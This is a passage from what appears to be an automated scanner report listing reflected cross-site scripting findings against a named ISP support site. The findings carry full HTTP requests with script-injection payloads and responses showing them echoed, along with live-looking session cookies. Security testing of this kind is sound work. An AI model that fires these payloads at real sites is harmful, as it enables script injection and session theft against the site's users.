Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:42 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C580a8"><script>alert(1)</script>4076d963b27/images/bt_leftFAQ_off_en.gif" />
...[SNIP]...

2.103. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c305"><script>alert(1)</script>370bb343bab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images6c305"><script>alert(1)</script>370bb343bab/bt_leftFAQ_off_en.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:50 GMT
Connection: close
Set-Cookie: SMSESSION=da4fBhnRCaz+HC6mC94RHgu3tiqiXBiFHY1JKycaWoVCFA3kKByk9qfXVhFh10zraU6Qeth8ywPTWAVVNeaOQ78Efv7GG16tufp3ZVxknET43GSlV6d4IC/R9tI1I44JSL81r+MPBpkKXwOlTYqpRm5DwGAGw0JbqwyIjtVzAWX10puDwl8Bz0mYdLHo7ppLeVJIFKC/D91Yxz2qpG2m+lPq8heJw7AFmlazUph6AvSYElMSP0wowg+Vg2BgH+PLA1SvCsNsB/2g0Chx9SkZBvbFsjJxETBQvNS29Yow2VUh1zioSJi9tA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:50 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images6c305"><script>alert(1)</script>370bb343bab/bt_leftFAQ_off_en.gif" />
...[SNIP]...

2.104. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a149"><script>alert(1)</script>1aa00acce5d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif7a149"><script>alert(1)</script>1aa00acce5d HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:00 GMT
Connection: close
Set-Cookie: SMSESSION=DNantRsRA2PdLq3QmxqihZVt+xDFZETd0l3YZRlgKSb2zNN6gC8oV2lq88j8dJ7lpaj2JUR6TslvusHGV9TluQ+o5oFftClAh9XFHBGpup7TljypkYg7xnSUucLsJmBxbnNpunPIltXVlrNlAtSGEE6Hp/JrNdo28GEH7hso08rqLsYWP4j66LMeo0OOh5rypBiVJ3k4M1kg4fAPHQ6fYKo2H5vByQylhID5ROvMhWQBnvkrj4wxBxm0G41vuD/qwvwUrDz04Xa5vybMffOMZ70DP9sen9nOqAHs6dzREhdAOJobSpP2rQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:00 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
a/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif7a149"><script>alert(1)</script>1aa00acce5d" />
...[SNIP]...

2.105. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13958"><script>alert(1)</script>fe4d6f91b99 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif?13958"><script>alert(1)</script>fe4d6f91b99=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:30 GMT
Connection: close
Set-Cookie: SMSESSION=uWTl6ZSemKn5AwURXPN8HFPUv6VtDgtVUkBh4+EU2o0dt//tAQVHCtgGG7lvAV84ZHl/iauVdV5sw2KZh7Mg97fTD+G5oYD1J2zl9ynhKg5/XLm22zTH7XgHvYfaQ9Iuso8A9QFjMOL6eRFcXZGdR+akGBnbDycYgFOM+fHs+gOCtKJEgmHhKnrJj1OGzT3ilFIS3EePBSqOx3KYWCEZ6AJdbEvrVm5tcIrH73/byQXf6/+8acgSPexlS3WqGed6WoEBwgILCkwcev6UFzVA7wxTdccRnwN1YL0Zm0kTQxkKKrjgO35UAw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
